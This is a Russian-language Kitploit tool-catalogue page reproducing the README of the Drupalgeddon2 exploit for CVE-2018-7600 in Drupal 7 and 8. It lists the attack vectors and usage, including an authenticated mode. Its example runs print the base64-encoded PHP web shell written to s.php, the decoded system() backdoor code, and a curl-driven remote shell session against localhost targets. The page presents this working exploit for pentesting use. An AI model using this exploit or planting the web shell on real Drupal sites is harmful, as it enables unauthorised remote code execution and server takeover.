Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Drupalgeddon2 — Эксплойт для Drupal v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002) | Kitploit
Инструменты/GitHubGitHub/dreadlocked/drupalgeddon2
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияШелл-кодЭксплуатация веб-приложенийТестирование на Проникновение
GitHubdreadlocked/drupalgeddon2

Drupalgeddon2

Эксплойт для Drupal v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002)

Репозиторий
600169335 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2018-7600 | Drupal 8.5.x < 8.5.1 / 8.4.x < 8.4.6 / 8.x < 8.3.9 / 7.x? < 7.58 / < 6.x? - 'Drupalgeddon2' RCE (SA-CORE-2018-002)

Drupalggedon2 ~ https://github.com/dreadlocked/Drupalgeddon2/ (https://www.drupal.org/sa-core-2018-002)

Поддерживает:

  • Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 ~ URL user/register, атака на параметры account/mail и #post_render с использованием PHP-функции passthru
  • Drupal < 7.58 ~ URL user/password, атака на форму triggering_element_name и параметр #post_render с использованием PHP-функции passthru
  • Работает с прямыми командами (так называемый метод без файлов, File-Less Method) или записывает PHP-шелл в корень веб-сервера (./) или подкаталоги (./sites/default/ и ./sites/default/files/)
  • Поддержка целей на Linux и Windows
  • Автоопределение версии Drupal (или достаточно точное предположение!)

Метод user/register был выбран для Drupal v8.x, поскольку он возвращает HTTP 200 и выводит результат в JSON-ответе data (раскомментируйте код для метода timezone/#lazy_builder, который возвращает HTTP 500 и работает вслепую!) (Дополнительная информация)

Авторы:

  • Hans Topo (@_dreadlocked)
  • g0tmi1k (@g0tmi1k)

Примечания:

  • Для продвинутых пользователей/конфигураций существует более настраиваемый эксплойт. Смотрите раздел drupalgeddon2-customizable-beta.rb
  • Прежде чем открывать issue, пожалуйста, прочитайте раздел устранения неполадок в конце. Спасибо!

Использование:

$ ruby drupalgeddon2.rb
Usage: ruby drupalggedon2.rb <target> [--verbose] [--authentication]
       ruby drupalgeddon2.rb https://example.com
$

Параметры --verbose и --authentication можно указывать в любом порядке после и оба они необязательны. Если указан --authentication, будет запрошен ввод:

  • имени пользователя,
  • пароля,
  • имени поля формы для имени пользователя,
  • имени поля формы для пароля,
  • URL-пути к веб-странице входа, например user/login
  • возможного суффикса, добавляемого после учётных данных в отправляемой форме, например form_id и т.д.

Это необходимо для эксплуатации сайтов, которые сначала требуют POST-авторизации на веб-странице и в случае успешной аутентификации отвечают сессионной cookie.

Пример для Drupal v8.x

Drupal v8.x < v8.3.9 / v8.4.x < v8.4.6 / v8.5.x < v8.5.1

$ ./drupalgeddon2.rb http://localhost/drupal-8/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-8/
--------------------------------------------------------------------------------
[!] MISSING: http://localhost/drupal-8/CHANGELOG.txt    (HTTP Response: 404)
[+] Found  : http://localhost/drupal-8/core/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal?: v8.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TTTBJJBP
[+] Result : TTTBJJBP
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell:   curl 'http://localhost/drupal-8/s.php' -d 'c=hostname'
ubuntu140045x64-drupal>> uname -a
Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
ubuntu140045x64-drupal>>

Пример для Drupal v7.x

Drupal < v7.58

$ ./drupalgeddon2.rb http://localhost/drupal-7/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-7/
--------------------------------------------------------------------------------
[+] Found  : http://localhost/drupal-7/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal!: v7.31
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TKYPVVJJ
[+] Result : TKYPVVJJ
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell:   curl 'http://localhost/drupal-7/s.php' -d 'c=hostname'

ubuntu140045x64-drupal>> uptime
 14:52:33 up 4 days,  3:35,  1 user,  load average: 0.00, 0.01, 0.05
ubuntu140045x64-drupal>>

Прямые команды / не-PHP шелл (также известный как File-Less Method)

Если вы не хотите даже пытаться записать PHP-веб-шелл на веб-сервер, отредактируйте файл, как показано ниже (в любом случае будет выполнен откат, если не удастся найти доступное для записи место):

try_phpshelltryphpshell = false

Пример

Скачать инструмент